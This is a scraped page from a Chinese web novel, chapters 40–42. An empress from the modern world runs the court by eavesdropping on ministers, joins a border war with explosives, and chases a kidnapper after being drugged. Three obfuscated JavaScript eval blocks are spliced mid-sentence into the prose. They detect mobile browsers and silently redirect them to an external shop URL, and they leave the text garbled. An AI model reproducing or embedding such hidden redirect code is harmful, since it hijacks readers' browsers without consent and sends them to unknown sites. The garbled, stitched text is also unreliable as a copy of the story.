“我是个学者,是个匠人,怎么能做皇帝呢?我不会做,也做不好。” 对啊,就算是天才如礼诗涵,也会有擅长和不擅长的事。王宇航忽然放松下来,他招手,礼诗涵懵懵地上前去,在众多大臣的目光中他猛然抱住礼诗涵的腰肢。 “?!” 这个少女是属于他的。 从小礼诗涵就吸引着所有人艳羡的眼光。 但是所有人都不能包容礼诗涵的尖锐,只有他才能。他应该对礼诗涵更加宽容些。 他到底是怎么想的? 礼诗涵感觉像是回到了早恋被教导主任抓的初中,短发齐刘海大头照被挂在操场的耻辱柱上钉了两周,每个毛孔都想尖叫。 王宇航埋在她怀中,忽然道:“皇后,此后七日,你代行我职。” “行行行行行。”礼诗涵真想跪下求他别抱了,道,“你快放开我,我什么都答应!” . 史上最荒谬的政权诞生了。 成年皇帝的职位由皇后代领,而皇后是个半文盲。 在御书房枯坐一下午后,礼诗涵悲哀地发现自己连字都认不全,只能联系上下文通晓其意。 她花了两炷香的时间费力阅读的奏折如下:南方的某某鱼很好吃,边关将士痛陈晚上有鬼,还有皇后肆意妄为实在应该管束的一大堆帖子。 平日中有大臣为皇帝缕清轻重缓急。而到了皇后这里,自然没人帮忙。 礼诗涵不知道,礼诗涵只觉得自己果然不是当皇帝的料啊!她只适合泡在实验室做研究,不适合也不会处理这些事。 但没关系,礼诗涵有方法。 王宇航端着茶水,到了御书房,却不见人影。看看书桌,只有一小部分翻动过,而上官丞相呈上的全部,都被写了通红的不允。 王宇航感到了一丝心安。 礼诗涵没了他就不行。他在齿列间反复咀嚼这句话,仿佛在催眠自己。 哪怕她有无比天资,她也需要他,他是礼诗涵人生中不可或缺的一部分! . 朝会稀里糊涂地结束。 因皇后求情,墨太史只得了个回家反省几日的罪名。但他家中有两个半大孩子,实在不想回家。 他平日里作风太浪荡,导致平日里想寻人喝酒,只能找令君如。令君如怕他酒后失言把自己一起害死,只得应允。 二人乘马车前去酒楼,马车辘辘行驶之时,他们忽地看见一个熟悉的高挑人影,在路边助跑几步,猛得蹬墙起跳,啪地扒在墙边,长腿一钩,刷一下翻过院墙,身躯滑落,发出了连他们都能听到的咚的一声,应该摔得很惨。 “?” “.......” 令君如和墨吾面面相觑。 “我刚刚是不是看见皇后在翻别人家墙?”墨吾率先发问。 令君如扶额叹气道,“唉。你居然没看错!” . 礼诗涵想到了个绝妙的主意。 人有小人有君子,臣子自然有庸才有贤才。只要她能分清哪个是贤臣,哪个是庸臣,听贤臣的话,不听庸臣的话,不就是完美的皇帝了吗? 至于怎么分,她看不懂古文。 于是选择了最简单的打法:听墙角。 谁在担心大阜未来,谁在用污言秽语辱骂礼诗涵,谁在开淫/趴寻欢作乐,一目了然。 唯一的问题是翻墙还不熟练。礼诗涵揉了揉屁/股,小心翼翼地凑到窗户前,这家院墙不知道为什么这么要修这么高,她没站稳摔得很痛。 现在知道了。 礼诗涵一眼就看到多人活/春/宫,给纯情少女恶俗得差点大叫,重又狂奔蹬墙猛得翻身! 令君如和墨吾在墙外蹲守许久。令君如瞧见礼诗涵又要用屁/股着地,当即助跑几步在她落地前猛地抄起少女。 少女的身躯当然是轻盈的,她披着柔软的狐毛披肩,一身华丽的鹅黄色衣裙,被容华打扮得像个毛绒绒的雪人。 礼诗涵从袖中拿出一个名单,当即给这家臣子的名字上打了一个叉,一脸后怕地道:“好险!” 雪人不会翻墙,不会把令君如气得血压飙升。 “皇后。”他无奈道,“请您自重!” 他一看礼诗涵袖中那个卷轴,就差不多猜到怎么回事了,也不好再苛责她。毕竟她的出发点是好的,就是有点太缺心眼。 令君如无奈道:“如若皇后对臣子不放心。自可召来一一询问。何必亲力亲为呢?” “对啊对啊。”墨吾啧啧点头,凑过来腆着脸看礼诗涵那张纸,皱眉道,“皇后娘娘真是不善文字啊。咦?怎么基本上所有人都在骂我有病?皇后娘娘开恩,把他们统统处死!” “也有许多人对皇后出言不敬。”令君如皱了皱眉。 “不许看。”礼诗涵连忙把卷轴收进袖中,道,“第一手数据是最准确的。而且我又不会因为背后几句话就把人处死。” 她一拍胸脯,得意洋洋道:“等我查清楚谁可信,谁不可信,谁有才,谁无才。我与陛下皆能从重任中解脱出来,把大阜交到人才手中,岂不是会更好?” 礼诗涵看完奏折,只有一个念头。 我要挂机。 我不擅长这个,我要挂机。 国力如此强盛的地方,总会无数人才。 有天资的人,会对自己没天资的方面格外敏感。礼诗涵发现自己不是此种材料,当即决定当一个听劝的皇帝代理。 墨吾笑了半晌,忽然正色道:“皇后。” “请您杀了皇帝,取而代之!” 礼诗涵和令君如:“?” 令君如呵斥道:“对皇后莫要胡言!” “我不会做那种事。”礼诗涵也认真道,“陛下与我感情深厚,而且我也不会杀人。” “如果将来有变,请您千万考虑。”墨吾意味深长道,“如果真到了那一刻,请别忘了我说的话。” . 礼诗涵这个代理皇帝做得很好,简直太好了。能有个听人劝的上司有多难,众大臣都是知道的。 他们眼神交流,眼神中都透露出惊疑。 “赈灾?” 礼诗涵大笔一挥,准! “治理鼠患?” 昨天半夜点灯写文章的。礼诗涵点头,准! “新田法?” 礼诗涵一眼认出是玩多人羞耻游戏的,当即怒道:“不准!” 她眼下挂着两个大黑眼圈,坐在龙椅上自得得频频点头。不枉她熬夜偷听了许多臣子的墙角!对大家的人品姑且有了数。 这样秉持着正直之心,听正常人的发言,而不听小人的进言,怎么样都不会把皇帝做得很差的。 她得意洋洋的样子像只张牙舞爪的猫,令君如不免失笑。 忽地传令官匆匆前来,在他耳旁耳语几句,他神色巨变,出列道:“皇后。” “大秉趁地动余患未消,各地道路受阻,通讯不畅侵袭边境。现已接连夺取三城,其势不减。请皇后定夺!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793325|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>仿佛一滴水落入油锅,朝堂上爆发出无数的议论声。 上官丞相率先出列,并不行礼,道:“如此大事,不能再容皇后如此儿戏,应快快请出陛下!” 他被礼诗涵堵了一整个朝会,期盼王宇航赶快回来,把这个不孝女赶下去。 “陛下金口玉言,岂能中途而废?”这是刚尝到礼诗涵甜头的大臣,恨不得礼诗涵再多坐几天,道,“我愿领军前去应敌!” “大秉兵强力壮,而且有备而来。而我大阜因地动本就损伤不少,军心不定。且遣使者前去。”这是上官家的另一人。 “你也说了对面有备而来,还会听我们求和吗?” 朝堂上七嘴八舌,礼诗涵看看这个,又看看那个,面露茫然。 她是生活在和平富足年代的掌上明珠,怎么会打过仗? 如果现在能稳定局面,一定能坐稳龙椅。 不少大臣的目光随之转向帷幕之后,王宇航依然稳稳地端坐在那里,手指几番颤动,究竟还是身形稳稳的,没有发表任何意见。 把事情做好很难。 礼诗涵不会打仗,王宇航更也不会。 但是如果有了反面例子,不犯前人的错误,还是很简单的。 如果诗涵吃了败仗,他再出面,也是一样能定人心的。王宇航这么宽慰着自己。 “莫要再吵!” 礼诗涵决定挂机。 她懂个屁啊,还是让懂的人来干吧。 她道:“和大秉打过最多胜仗的人是谁?出列!” “皇后。” 不看体格,令君如比起武将,看起来更像个文臣。但他身上不怒自威的气场,盖过了他的书卷气。 “爱卿。”礼诗涵正色道,“你以为是打是和?” “来者不善。”令君和抬眼看她,这平日里温和的臣子眼中露出锋锐的光,道,“此战非打不可。” “好。”礼诗涵点点头,却道,“和大秉打过最多交道的文臣是谁?” 臣子应声出列。礼诗涵有印象,这人明明已经做到上官丞相之下第一人,半夜说梦话还在痛背位卑未敢忘忧国,可见怨念多深。 “你以为呢?” 文臣顶着上官丞相的死亡眼光,道:“大秉和大阜积怨已久。若是对方地动,下官也必然上书以求进兵!” 礼诗涵当即道:“好。那就打这一仗。至于后勤、兵马、粮草等事物,本宫全不会。” 她说的非常坦荡,道:“这一仗就全权交予两位,本宫知二位皆是忠臣,必然尽心竭力以退敌。如遇任何困难,可告知本宫,我亦不负臣心。” 二人皆跪地领旨。 “不可!” 上官丞相十分着急。 他自然也知道和大阜的这一仗是必然免不了的。 但小女子怎么懂呢? 他又要如何说明与大秉相连之边境,常年洪灾,气候恶劣,刁民也多,不得不用朝廷钱财去供养,如果丢了反而是一件大好事呢? 至于会死多少人。 难道平日里就不死人了吗? 女子目光短浅。 上官丞相不得不殷切期盼着王宇航快些出来主持大局。 但无论他怎么催促,那帷幕背后的身影就是一动不动。 而那眉目凌厉漂亮的年轻皇后一挥手,他的所有打算都付之东流,礼诗涵道:“退朝!” . “又把我派来打先锋......” 冷风刮过,草叶在风中震颤,其上的淋漓鲜血滴回尸体的手指上,划出一道惨烈的血痕。 夜色下,谢厌摘下血淋淋的头盔,露出一张年轻而英俊的面容。他眼皮薄而上挑,眉眼间全是厌恶之色,把手中同样血淋淋的长槊往地上一贯,怒道: “打完这个又打那个,大秉怎么还没完蛋?” “将军,您就是因为经常性辱骂皇帝才总是被针对、被边缘化、被压榨......快慎言吧.......” 41. 第41章 上官皇后(五) “娘娘且慢。”礼诗涵的目光落在他身上,如有千钧之重,令君如缓缓道,“下官想向娘娘讨一物。此战仓促,如有此物,我大阜必胜。” “何物?” “炸药。” “........” “娘娘已展现出移山填海之能。”令君如道,“此物理应有极大的杀伤力。如能用之,我大阜必然短时间内再无人可来犯!” 炸药的本来用途就是这个。 用更大的暴力止戈。 礼诗涵有一瞬间的抗拒,但又想不到什么不应的理由,还是道:“本宫会将配方交予工匠,公之于众。” 如果炸药的用途能公之于世,就会有更多的人和她学习。 有了人帮忙她才能做出威力更大的炸药,才能回家。 一直躲在帷幕之后未出声的新皇脱口而出道:“不可。” 众人的目光随之转向他。 从小到大,礼诗涵都是那个站在领奖台上的人。而他站在台下默默的给她鼓掌。 王宇航顿了下,随即若无其事道:“皇后不知匠人粗苯,炸药又易燃,怕是退敌不成,反倒会害了自己人性命。” 那还不简单?礼诗涵当即道:“本宫随军出征!” “战场不是儿戏!”令君如急促道,“如果皇后娘娘凤体有损,让下官如何自处?” “本宫的命是命,太尉的命也是命,士兵的命也是命,并无不同。”如果要让礼诗涵收回已经做出的决定,真是太难了,她道,“太尉不必担心,本宫运气很好的。” . 皇后亲征,这实在太少见了。 令君如真后悔提出那个建议,但礼诗涵确实是这仗要赢必不可少的一环。 战事急迫,大秉十万军已经兵临鹿城脚下,城墙因为地动损毁而难以为继。令君如先率先锋五千驰援,皇后实在太重要,便交由他的亲信副将令六护送,随大军援至。 礼诗涵终于如愿以偿,可寻来顶尖的百余名工匠。 王宇航深夜来访泽海宫。宫内热火朝天,卷轴铺了一地,一块写满丑陋毛笔字的巨大宣纸挂在院中,礼诗涵对着自制的PPT讲得不知天地为何物。 容华、容轻以及一半工匠一人一个小马扎,奋笔疾书地疯狂记笔记,而另一半正捧着已经抄写好的卷轴大声背诵,模拟实验,手舞足蹈。 小小的院子满满当当,这后宫中居然能有一种期末考的氛围,除却礼诗涵,还有谁能做到? 王宇航:“........” 礼诗涵喝了口茶润润嗓子,高兴道:“宇航,你怎么来了?是来帮忙的吗?” 王宇航轻柔地按住她的肩,把她向屋内推,轻声道:“后廷乃妃子所住之地,实不该让普通人进。” “先帝妃子都遣散了。”礼诗涵不明所以道,“现在又只有我在住,不如利用起来。” 她被推走了,依然叫道:“容华,记得检查他们的背诵!错一步都不行!” 砰! 屋门一下子关上。 容华猛得起身,容轻一把扯住她,低头继续书写,轻声道:“还不是时候。” 王宇航从身后抱住礼诗涵,他的女孩生长周期倒退,平白矮下去十厘米,他可以把下巴抵在礼诗涵的肩头,嗅闻她身上甜甜的香味。 “?” 锦袍冰凉而柔软,但容华生怕礼诗涵冷,给她穿得里三层外三层。隔着几层华丽的衣袍,甚至摸不到礼诗涵窄窄腰肢的形状。 礼诗涵被摸得咯咯直笑,忍不住道:“你干嘛啊?好痒!” 她的笑声清脆而纯净。 王宇航只觉得越听越烦躁,突然用力把礼诗涵推倒在床上,咚,发出不轻不重的一声。 就算是迟钝如礼诗涵也能感觉到气氛不对。 王宇航轻轻地抚摸她的脸颊,柔声道:“你不想和我在一起吗?” 窗外猛得发爆出郎朗的背书声。 礼诗涵后知后觉,颤颤巍巍地指向窗外,道:“现在?不行,绝对不行!会被人听到的。” “让他们听,如何?”王宇航把脑袋埋在礼诗涵的颈窝,再也不想压抑自己的真实想法,缓缓道,“这样所有人都知道......你属于我。” “???” 礼诗涵感觉到她的脖颈被咬了一口,被人的牙齿轻轻含着皮肉的感觉简直令人尖叫,而且到底谁能在人前玩羞耻游戏啊? 几乎是条件反射,她道:“绝对不行!” 啪—— 王宇航的头被打的偏过一边,表情一片空白。 “你太过分了。”礼诗涵罕见地真生气了,道,“就算抛开现在的这一切。我听说会非常痛。我明天随军出征,还要骑马呢,这可是打仗哦?” 她手劲太大,瞧着被她扇肿的脸颊,礼诗涵又软下声音来,认真道:“宇航,我不喜欢我们两个人的事情被人听见,你为什么要强/迫我呢?等我回来,好吗?” 她是个纯情少女,根本无法想象和别人上/床,也根本说不出口“上/床被人听见”这种话。但礼诗涵委婉的话语在王宇航耳中就是另外的意思了。 “和我在一起让你觉得很丢人吗?”王宇航突然道。 “怎么能这么说呢?”礼诗涵握住王宇航的手,认真道,“你永远是我的家人啊,宇航。” 你真的喜欢我吗? 还是只是在怜悯我? 王宇航深吸一口气,压住即将爆发的情绪,道:“好,对不起,是我错了。” 礼诗涵又笑起来,在他脸颊上亲了一口,安抚道:“好啦。我们不闹矛盾了,我们永远都最要好。” 郎朗的背书声又起。 礼诗涵终于忍不了了,猛地推开窗户,怒道:“错了!全错了!都这么大的人了,还能背错元素周期表?” 容轻眨眨眼睛,目光和阴沉的新皇帝一触即分,无辜道:“娘娘,没办法。奴婢们实在愚钝。还请娘娘再讲一遍。” 众匠人也是花言巧语,把礼诗涵哄得团团转,她哼道:“好吧,我只再讲一遍哦。” . 令君如领五千兵马,快马加鞭赶到鹿城。 但因地动,官道也多有艰难险阻,紧赶慢赶,也花了整整三日。 鹿城城门处仍有洗不净的血迹,空气中的味道和好闻沾不上边,城楼上士兵们疲惫不堪,神经紧绷得有任何风吹草动都会惊得跳起。 鹿城校尉是令君如的旧部,直白道:“大人若是再晚来片刻,我一定率城内众人投了。” 因大面积地动,鹿城西南处城墙多有毁损,兵士们拼死补上,不然大秉兵马直入如入无人之境。也因此城内守军折损过半,只能据守城门不出。 “领兵的是谁?” “老朋友了,还是琼华谢氏那帮孙子。主将谢雍,副将谢厌。哥哥虚伪至极,弟弟阴险狡诈,哥哥率大军驻扎在城外二十里,弟弟率先锋日日搅扰。”校尉恨恨道,“真想扒了那两人的皮!” 琼华谢氏,臭名昭著到在大阜也人人喊打。 不光是因为谢氏执掌兵权,一门现在活着的都有十几个有名有姓的武将,极其难缠;而且在于它那令人难以形容的家风。 他们老祖宗信奉一件事。 活下来的才能当他的继承人! 于是这一门男的恶毒至极,女的飞扬跋扈,平等地霸凌每一个人。 据说他们会抓阄选一个人不霸凌,以免血脉被霸凌得断绝了。 而其他人从在娘亲肚子里开始就举办霸凌比赛,能生下来的都是百里挑一的好胎。生下来之后就开始霸凌彼此,给兄弟姐妹杯子里下毒药,在背后下黑手,战场上断粮草,生病了不给药,活着全靠自我发育。 他们的老祖宗觉得这样能养出万里挑一的“人才”。 所有人都不理解。 每个人都觉得这根本就有病。 这样养蛊确实养出了些东西。谢雍曾经创下手下十八次诈降记录,直接导致大秉降将再也无人敢收,士兵被迫忠心耿耿; 而谢厌从十岁开始就被丢上战场,为了活下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795831|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 不仅练出一身本领,而且简直无所不用其极。一看对面是他,不仅得保护好自己活着的父母亲朋老祖宗,还得保护好死了的——十四岁那年他手下兵死完了,怒而去掘了对面将领祖坟。 对面和自己的十八辈祖宗面面相觑,耻辱退兵,从此谢厌一战成名。 令君如多次和琼华谢氏打交道,因为令君如本人太有道德,看见琼华谢氏的人就烦。现在他兵力少,而对面兵力多,更是麻烦事。 “守住城门。” “等到皇后亲来,便是胜负既定之时。” . 大秉军。 谢雍几番带人攻城,都被令君如带兵及时挡住。他气不过,叫人在城下叫骂。但鹿城中静悄悄的,一丝出兵的意思也没有。 而谢厌正如饥似渴地狂背医书,卷得令人动容,生怕少学一点就霸凌不过自己的兄弟姐妹。 谢雍被两种声响夹杂着吵得头痛,忍无可忍道:“你能不能滚出去带兵?” 谢厌冷冷地看了他一眼,他眼角上挑,少年将军,端的是无边的肆意张狂,他嘲笑道:“如果不是你生怕我抢你功劳,攻城那天把我派去别处,这城早就打下来了!” “你!” “又如何?废物就是废物。这里只有你我,惺惺做派演给谁看?” 谢厌看也不看他,继续疯狂翻书。 “今夜你带兵去突袭。”谢雍冷冷道,“我不管你想什么办法,我军已在这里僵持许久,粮草不足!” 他为主,谢厌为副,谢厌不得不听他的。被人命令让他非常恼怒,道:“把你的项上人头给我,我杀了对面主将之后会记得替你邀功的。” 谢厌把医书往怀里一塞,大步往账外走,冷笑道:“此战若成,你的主将之位也坐不稳当了!哈!” 谢雍也是怒气横生,谢厌走后他往嘴里灌了杯凉茶,又猛地喷出,怒道:“谢厌!你又往我杯子里下毒!” 谢厌一把抓住从身侧飞来的暗箭,折了扔在一旁,烦躁扬声道:“彼此彼此!” . 攻城不是一件易事。 鹿城有了令君如带来的补给和人手,原本折磨到濒临崩溃的士兵得到充分休息,夜间恢复了原本的惊觉。 幸好今夜朔月,夜黑风高。地动损毁了城墙,也损毁了部分岗哨,才让他有了能趁空子的死角。 谢厌让小队人马故意在另一侧夜袭,吸引走大半注意力,自己只带着几人,从死角悄无声息而缓慢地爬上城墙。 姓令的也毒的很,在城墙上泼水成冰。 谢厌一手青筋暴起,另一手松开勾爪,手肘猛地借力,半跪在城墙上,喘息不止。几乎毫无可借力之处,他爬上四五丈高的城墙,已然力竭。 厮杀声很远,理应没人注意到这里。 “嗯?”礼诗涵转头。 火光、呐喊声、喊杀声、号角声,都在城北,今夜一片漆黑,只有礼诗涵手中一盏幽微的烛灯,隐约照出二人的轮廓,面容都隐在黑暗中,看不清晰。 谢厌错愕:“女人?” 大秉男女大防之重,让他完全无法想象城墙上会有女人在,愣了数秒。 夜风吹过,她身上有着甜甜的香味,像是刚刚吃过某种点心。披着毛绒绒的虎皮披肩,步摇轻轻碰撞,发出清脆的响声。 不论她为什么出现在这里,这一切都不重要。 电光火石之间,谢厌想抓住这个女人抢占先机,无论是做人质还是灭口,而礼诗涵也瞬间想明白这人是偷袭的! 愣怔的几秒,让谢厌失了先机,礼诗涵像枚小炮弹一样猛然创在他胸口,力道之大让他惊愕,而结冰的城墙没有任何摩擦力,礼诗涵半身都险些摔出墙外,谢厌当然被撞成了完美的抛物线! “摔,救,杀,我,不。” 礼诗涵想说要摔死人了快来人救一下,我杀人了,我要坐牢了,不对有人偷袭啊,头一次遇见这种事情,她语言功能乱成一团,最后大叫道: “令君如!” “你快来,敌袭!” 42. 第42章 上官皇后(六) 礼诗涵的运气确实很好。 她星夜赶来,也是谢厌给的压迫力十足,城中混乱,令君如只来得及将她迎上城墙,谁成想没走几步就撞上了谢厌本人。 若是让这人混入城内,鹿城怕是会沦陷。 礼诗涵从城墙下望去,只瞧见一片黑咕隆咚,什么声响也没有,不知道那人是活着还是死了。 令君如把她的脑袋按回墙面的保护下,道:“当心暗箭。谢厌狡猾得很,没那么轻易死。” 礼诗涵手指不停地颤抖,有点恍惚,道:“嗯。” 令君如看在眼里,忽地半跪在地,认真道:“皇后,明日你躲在城中。答应我别再乱跑了,这不是你可以任性的时候。” 礼诗涵已经觉得有点后悔了。 真正差点杀死一个人和影视剧中看别人闯关杀将完全是不一样的。 行动的时候礼诗涵的身体第一次快过了大脑,瞧见那人惊愕的眼睛,那一刻她才意识到: 人命轻飘飘的。 “好。”礼诗涵捏紧了手指,强颜欢笑道,“我答应你。” 她闷着头往前走,手中烛火发出幽微的光芒。 “......”令君如不想让礼诗涵露出这样的表情。 “皇后可知林泉县?” “?”礼诗涵对地理一问三不知,仰起脸来,露出困惑的表情。 “皇后不知也是常事。”令君如笑道,“只是小地方。” “那里风景优美,屡有奇景,且林深之处有一眼独特的泉水,常有虹光立于其上。当地有农户以此为灵感,做出了一道点心名叫‘寄虹’,其味鲜美,容百川之精,因此名扬天下。” 礼诗涵听得有些心动,咽了口口水。 她来了大阜之后仿佛耗子进了老鼠药仓,辣椒真把这里全毁了!偶尔半夜想起奶茶可乐奶黄包杨枝甘露,她还会默默流眼泪。 但是她很快就又低落下去了,道:“在战场上说这种事是不是不太好?” 在人的生死面前,她还在想着点心吃。 她的心被无数爱娇养过,养得太柔软。令君如笑着瞧着年轻的皇后,轻轻抚过她耳边凌乱的鬓发,道:“皇后,下官希望像您这样的人更多一些。没人不喜欢点心、能穿得更舒适的衣服、能睡得更舒服的床。连年征战,边境百姓苦痛,将士们征战的时候内心憧憬的愿景,便只有对未来的畅想。” “总要有人流血,但流血的目的是为了家人和亲朋的幸福。” “下官本就希望皇后能够一直这么,”令君如想起礼诗涵的所作所为,失笑道,“这么任性地活下去。” 今夜无月,烛火的微光让令君和的轮廓变得愈发柔和,眼睫垂下,近乎温柔。 礼诗涵脸颊莫名升温,却不知道这种感情何来,也不明白为什么。 容华与容轻不动声色对视一眼,继续低头假装自己并不存在。 “夜深了。”令君和笑道,“我已为皇后安排好居所,必然安全无虞。” 第二日午后。 礼诗涵不安地平躺在地板上。令君和把她安排在校尉夫人处暂住,躲于密室中,并带走了校尉本人。宅邸不可谓不舒适安全。 城外喊杀声震天,地面都为之颤动。像礼诗涵这般姿态,还可以清楚地听到炸药爆炸的巨大声响。 每份炸药都是经过她检视,她太明白这东西的威力,愈发地不安。 容华看不下去,道:“皇后,这样实在失礼,而且奴婢今天早起颇费心思给你梳的头发要散了。” “你们为什么如此平静?”礼诗涵简直要焦虑死了,抬眼看她,蔫蔫道,“我一想到有人会在离我这么近的地方死掉,就浑身不舒服。” 容轻把皇后娘娘从地上抓起来,道:“因为我和容华都是在大秉长大的。那里很乱,半月一场仗算是少的,我们都习惯了。家家户户的男丁都被征用,不去的就是没有男子气概,会被人瞧不起。当然也并不是所有人都能回来,城也不是每次都能守住。如果每天都提心吊胆,就没空干别的事了。” “好了皇后娘娘,快别抓你的袖子了,抓皱了就不好看了。” 礼诗涵越听越揪心,一骨碌爬起来,瞳孔巨震,道:“这里是地狱吗?” “你快别吓人。”容华瞪了容轻一眼,道,“哪有那么夸张?” 容轻幽幽道:“我还没说大秉的士兵会有多下作呢。越是有名的将士越下贱,能做到将军的,都是贱人之最!” 二人你一言我一语,在礼诗涵脑海中建立起了一个十分恐怖的印象。 让礼诗涵觉得不能再这么摆烂下去了,道:“乱世之中还是需有些本事自保。来容华容轻,取纸笔来,我再跟你们讲讲化学.......” 那些莫名其妙的符号绕得人头晕。容华绝望地又瞪了容轻一眼,小声道:“都怪你!” 学习能够让人的心绪迅速平静下来。起码容华完全不是这个材料,元素是有几十种,还是十几种,根本记不清。 听着听着,上下两个眼皮打架,啪嗒,她猛得一头栽倒在书桌上,睡着了。 礼诗涵揉了揉眼睛,觉得自己也有点困,小声道:“是昨晚没休息好吗?容轻,你和我一起把她放到.......”床上。 容轻同样伏在书桌上,睡着已经多时了。 这相较于容华更加成熟稳重的女人是个优秀的学生,从来没在礼诗涵的化学小课堂上睡着过。 礼诗涵猛得站起身来,大力摇晃自己的两个侍女:“容华、容轻?” 两个女人皆是人事不省。 礼诗涵自己也觉得困意上涌,用力掐了自己一把,雪白的手臂上迅速浮现出青紫,疼痛之下,依然觉得大脑混沌。 蒙汗药! 谁干的?为什么? 校尉包藏祸心?城中出了间谍? 礼诗涵的大脑可以一秒钟心算十位数,但现在她双腿发软,眼前发黑,摇摇晃晃走了两步,砰!她用尽全身力气撞在墙面上,骨骼和墙壁碰触的声音让人听了牙齿发酸。 啪!机关带着礼诗涵翻转到密室之外。 礼诗涵捂住口鼻,拼尽全力狂奔,咚,她被什么东西绊倒,在地上滚了一圈。是个同样倒地的侍女,不过她明显是被物理打晕的,头上有血迹,口中喃喃着什么。 礼诗涵顾不上。她冲到庭院中,把半张脸扎进绿植中,才终于觉得自己吸入的是氧气,而不是迷药。 整座府邸都快被迷药腌入味了。 这安全在哪了??? 礼诗涵简直想哭,她再也不学影视剧中的帝王,动不动就御驾亲征。她乖乖呆在最安全的密室中都不安全。 几个喘息,她终于重新获得了自己手脚的控制权,压着眼角的泪花,又重回长廊,一把架起那个倒在地上的侍女,把人连拖带架到庭院中央。 侍女头上全是血,礼诗涵也不会包扎,只能坐在旁边给她疯狂扇风,道:“醒醒,醒醒!发生什么了?” 她现在有了更多余裕,原本宅邸中有几十士兵驻扎,现在不见人影,只有草丛中隐约露出的衣角,礼诗涵不敢想里面的人是死了还是晕了。 只能带着哭腔问:“喂,你还活着吗?求你别死啊!” “夫人.......” 侍女嘴唇微动,礼诗涵把耳朵凑在她嘴唇旁,只听见侍女微弱道,“夫人被带走了......” “校尉夫人?” 礼诗涵顺着侍女指的方向狂奔,一路也不敢呼喊。 宅邸中除了她之外也没见到任何一个站着的人影,血,血,血,只有好多血,无处不在的血。 令君如给礼诗涵寻的藏身之处确实是无比安全。如果礼诗涵身体没这么好,中了蒙汗药直接睡过去,在密室中也是绝对安全的。 后门虚掩,礼诗涵赶至,只瞧见一个纵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17798358|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 马离开的高挑背影,马背上像捆货物一样捆着一个年轻女子,衣裙华丽,嘴巴被堵住,不断挣扎,正是校尉夫人! “来人!快来人!” 礼诗涵不得不叫人了,但宅邸中静悄悄的,没被迷倒的除了她都死了。 回应她的只有马儿黛兔的嘶鸣。 礼诗涵看看不断远去的校尉夫人,又看看宅邸中的血,内心不断挣扎。 现代社会讲法律,而王怀雪、老皇帝、太子乃至上官丞相都讲理。这个不明身份的人可能真的会杀了她。 礼诗涵从来没感觉死亡居然离自己这么近。我会死吗?她朦朦胧胧地想。 上官梨的灵魂消逝的时候到底在想什么呢? 礼诗涵用力一咬牙,迅速解开黛兔的缰绳,翻身上马。 如果她不追上去,那个与她同岁的女子会遇到什么事呢? 那人蒙着脸,穿着一身黑衣,在闹市之中横冲直撞,如入无人之境。 所过之处人仰马翻,马蹄猛得踏碎翻倒的瓜果菜叶,直奔城门! “站住!”礼诗涵同样纵马狂奔,她一边追,一边朝路边逃窜的路人大喊道,“想办法去通知校尉,城中混入间谍,校尉夫人被抓——” 西域烈马不能容忍有马居然跑在自己前面,四足发力狂奔,两马之间相距的距离越来越短,近到礼诗涵试着伸手去抓校尉夫人的衣角—— 怎么又是女人? 谢厌有预感,这女人就是在城墙上把他撞下去的那个。他可是很记仇的! 靠着勾爪才没摔死,逃了足足一夜才勉强逃脱该死的姓令的追兵。谢厌憋着一肚子气,勉强在天色讲明未明之时重新寻机爬上城墙,打晕一个小兵换上他的铠甲,意图开战之时背刺。 而在第一发炸药炸开的瞬间,谢厌就知道这场仗赢不了了! 这是什么? 天雷吗? 什么时候人类可以操纵天时了? 谢家人从来没有什么道德,谢厌当场临阵逃脱。幸好他跑得快,因为他远远地就听到了谢雍那狗东西的骂声,谢雍面对这必败的一仗,回去之后怕是要完蛋了。 如果他还想回大秉的时候不被清算,就必须从别的地方想点方法了。 大阜人都太老实了。 重要的东西就会放在重要的地方。 在最华丽的宅邸虽然没绑到城墙上那一看就非常重要的女人,但校尉夫人做筹码来交换退兵应该足够了。 面对礼诗涵的穷追不舍,谢厌升起了一种莫名其妙的情绪。 本来就是来抓你的,好不容易逃过一劫,怎么不知好歹呢? 礼诗涵抓住校尉夫人的手腕,谢厌闪电般转头,眼中阴冷之光闪烁。 礼诗涵心中警铃大作,立刻松手抱紧黛兔脖颈,劲风从她脑袋顶上擦过! 谢厌常年马上作战惯了,礼诗涵反射神经再快也是个刚刚初出茅庐的少女。 虽然脑袋没挨到长棍横扫,发髻却全被挑散了,步摇发簪叮呤咣啷落地,礼诗涵在狂风中被自己的秀发抽了一个大嘴巴,失却方向,痛得大叫:“哇啊!” 西域烈马脚步不甘地缓慢下来,礼诗涵披头散发,捏紧缰绳,她眼睛大而锋锐,黑白分明的眼睛中怒气横生。 